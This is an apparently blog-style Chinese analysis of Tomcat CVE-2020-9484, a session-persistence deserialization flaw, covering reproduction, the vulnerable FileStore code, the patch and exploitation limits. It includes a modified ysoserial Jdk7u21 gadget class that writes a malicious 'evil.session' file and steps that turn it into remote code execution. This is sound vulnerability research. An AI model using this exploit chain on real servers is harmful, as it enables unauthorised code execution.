CVE-2020-9484 tomcat session持久化漏洞分析

## 环境
1. Tomcat 7.0.99
2. JDK7u21


## 影响版本
1. <= 9.0.34
2. <= 8.5.54
3. <= 7.0.103

## 配置tomcat调试环境
修改catalina.bat添加一行

```
set JAVA_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8001
```
idea配置remote tomcat调试 端口为8001

## 复现

修改tomcat路径conf目录下的context.xml 在`<Context>`标签内加入以下配置

```xml
  <Manager className="org.apache.catalina.session.PersistentManager" 
      debug="0"
      saveOnRestart="false"
      maxActiveSession="-1"
      minIdleSwap="-1"
      maxIdleSwap="-1"
      maxIdleBackup="-1">
      <Store className="org.apache.catalina.session.FileStore" directory="../sessions" />
  </Manager>
```
为了方便burp抓包，修改server.xml端口为80

下载ysoserial使用idea导入之后修改jdk7u21的链

```java
package ysoserial.payloads;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;

@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest(precondition = "isApplicableJavaVersion")
@Dependencies()
@Authors({Authors.FROHOFF})
public class Jdk7u21 implements ObjectPayload<Object> {

    public static boolean serialize(Object obj, String file) {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream(file));
            os.writeObject(obj);
            os.close();
            return true;
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            return false;
        }
    }

    public static boolean isApplicableJavaVersion() {
        JavaVersion v = JavaVersion.getLocalVersion();
        return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(Jdk7u21.class, args);
    }

    public Object getObject(final String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);

        String zeroHashCodeStr = "f5a5a608";

        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
        Reflections.setFieldValue(tempHandler, "type", Templates.class);
        Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

        LinkedHashSet set = new LinkedHashSet(); // maintain order
        set.add(templates);
        set.add(proxy);

        Reflections.setFieldValue(templates, "_auxClasses", null);
        Reflections.setFieldValue(templates, "_class", null);

        map.put(zeroHashCodeStr, templates); // swap in real object
        serialize(set, "e:/evil.session");
        return set;
    }

}
```
配置idea参数为
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/ff995f9a-147f-3383-5dd2-44a9d1b21e6a.png)
然后运行生成`e:/evil.session`文件，将其保存到`D:\tomcat\apache-tomcat-7.0.99\work\Catalina\localhost\cve-2020-9484_war\sessions`目录中，burp抓包设置session为evil，触发反序列化达成RCE。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/dd131b71-c959-ef0c-0ec4-365f878264f2.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/a59eaab7-f382-6e12-11a2-bdfe14c66875.png)

## 分析
在php中会将用户session以文件的形式存储到服务器中，java自然也可以，对于大型的企业应用，为了避障会将数据库或者session以文件的形式保存到文件中，那么以文件的形式保存对象自然就涉及到了序列化和反序列化。

通过复现漏洞可知该反序列化入口点在于`Context.xml`中配置的`org.apache.catalina.session.FileStore`，查看其代码在load()中发现readObjcet

```java
    public Session load(String id) throws ClassNotFoundException, IOException {
        File file = this.file(id);
        if (file != null && file.exists()) {
            Context context = (Context)this.getManager().getContainer();
            Log containerLog = context.getLogger();
            if (containerLog.isDebugEnabled()) {
                containerLog.debug(sm.getString(this.getStoreName() + ".loading", new Object[]{id, file.getAbsolutePath()}));
            }

            FileInputStream fis = null;
            ObjectInputStream ois = null;
            Loader loader = null;
            ClassLoader classLoader = null;
            ClassLoader oldThreadContextCL = Thread.currentThread().getContextClassLoader();

            StandardSession var11;
            try {
                fis = new FileInputStream(file.getAbsolutePath());
                loader = context.getLoader();
                if (loader != null) {
                    classLoader = loader.getClassLoader();
                }

                if (classLoader != null) {
                    Thread.currentThread().setContextClassLoader(classLoader);
                }

                ois = this.getObjectInputStream(fis);
                StandardSession session = (StandardSession)this.manager.createEmptySession();
                session.readObjectData(ois);
                session.setManager(this.manager);
                var11 = session;
                return var11;
            } catch (FileNotFoundException var25) {
                ...
        }
    }
```
代码很明显，通过id打开session文件，然后获取context的类加载器赋值给当前线程的类加载器，以此拿到当前容器Container中的lib，`session.readObjectData(ois)`中触发了反序列化RCE。

## 修复
在 [java/org/apache/catalina/session/FileStore.java](https://github.com/apache/tomcat/commit/3aa8f28db7efb311cdd1b6fe15a9cd3b167a2222#diff-d7c9b18d315c5a1fb1e71831656064ad) 中判断了目录是否有效
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/5d9f7b20-b002-0782-f748-610eab6cbd0b.png)


## gadget用哪个?
因为通过当前Container的类加载器反序列化对象，所以能拿到当前war包中的lib，所以有什么用什么，什么都没有就用jdk的gatget。

## 遇到的问题
直接使用ysoserial生成的payload不行，在`java/io/ObjectInputStream.java:299`中会验证前几位字节码，抛出异常，堆栈如下

```java
readStreamHeader:799, ObjectInputStream (java.io)
<init>:299, ObjectInputStream (java.io)
<init>:95, CustomObjectInputStream (org.apache.catalina.util)
getObjectInputStream:237, StoreBase (org.apache.catalina.session)
load:248, FileStore (org.apache.catalina.session)
loadSessionFromStore:789, PersistentManagerBase (org.apache.catalina.session)
swapIn:739, PersistentManagerBase (org.apache.catalina.session)
findSession:517, PersistentManagerBase (org.apache.catalina.session)
doGetSession:3147, Request (org.apache.catalina.connector)
getSession:2489, Request (org.apache.catalina.connector)
getSession:897, RequestFacade (org.apache.catalina.connector)
getSession:909, RequestFacade (org.apache.catalina.connector)
_initialize:147, PageContextImpl (org.apache.jasper.runtime)
initialize:126, PageContextImpl (org.apache.jasper.runtime)
internalGetPageContext:111, JspFactoryImpl (org.apache.jasper.runtime)
getPageContext:64, JspFactoryImpl (org.apache.jasper.runtime)
_jspService:6, index_jsp (org.apache.jsp)
service:70, HttpJspBase (org.apache.jasper.runtime)
service:728, HttpServlet (javax.servlet.http)
service:477, JspServletWrapper (org.apache.jasper.servlet)
serviceJspFile:395, JspServlet (org.apache.jasper.servlet)
service:339, JspServlet (org.apache.jasper.servlet)
service:728, HttpServlet (javax.servlet.http)
internalDoFilter:303, ApplicationFilterChain (org.apache.catalina.core)
doFilter:208, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:241, ApplicationFilterChain (org.apache.catalina.core)
doFilter:208, ApplicationFilterChain (org.apache.catalina.core)
invoke:219, StandardWrapperValve (org.apache.catalina.core)
invoke:110, StandardContextValve (org.apache.catalina.core)
invoke:492, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:165, StandardHostValve (org.apache.catalina.core)
invoke:104, ErrorReportValve (org.apache.catalina.valves)
invoke:1025, AccessLogValve (org.apache.catalina.valves)
invoke:116, StandardEngineValve (org.apache.catalina.core)
service:452, CoyoteAdapter (org.apache.catalina.connector)
process:1195, AbstractHttp11Processor (org.apache.coyote.http11)
process:654, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
doRun:2532, AprEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:2521, AprEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1145, ThreadPoolExecutor (java.util.concurrent)
run:615, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:722, Thread (java.lang)
```
具体原因可能是因为yso对于反序列化对象写入文件的操作不一样，自己写一个serialize()就行了

## 攻击面和约束条件的思考
先谈约束条件吧，利用难度还是比较大的。
1. 不是默认配置，需要手动增加`Context.xml`
2. 文件上传 文件后缀需要是`.session`
3. 需要知道绝对路径来跨目录

拓展下攻击面，比如redis，这里`@l1nk3r`师傅公开了[另一种使用redis的反序列化场景](http://www.lmxspace.com/2020/05/21/Tomcat-Remote-Code-Execution-via-session-persistence-%E5%88%86%E6%9E%90%E3%80%90CVE-2020-9484%E3%80%91/#0x05%E5%90%8E%E8%AF%9D)，问题出现在`RedisSession`类中，原理和9484差不多，id从jsessionid获取，value是反序列化数据，配合redis任意写入value来触发反序列化。

## 参考
1. [另一种使用redis的反序列化场景](http://www.lmxspace.com/2020/05/21/Tomcat-Remote-Code-Execution-via-session-persistence-%E5%88%86%E6%9E%90%E3%80%90CVE-2020-9484%E3%80%91/#0x05%E5%90%8E%E8%AF%9D)
2. https://github.com/apache/tomcat/commit/3aa8f28db7efb311cdd1b6fe15a9cd3b167a2222#diff-d7c9b18d315c5a1fb1e71831656064ad
3. https://www.sec-in.com/article/394
4. https://www.cnblogs.com/potatsoSec/p/12931427.html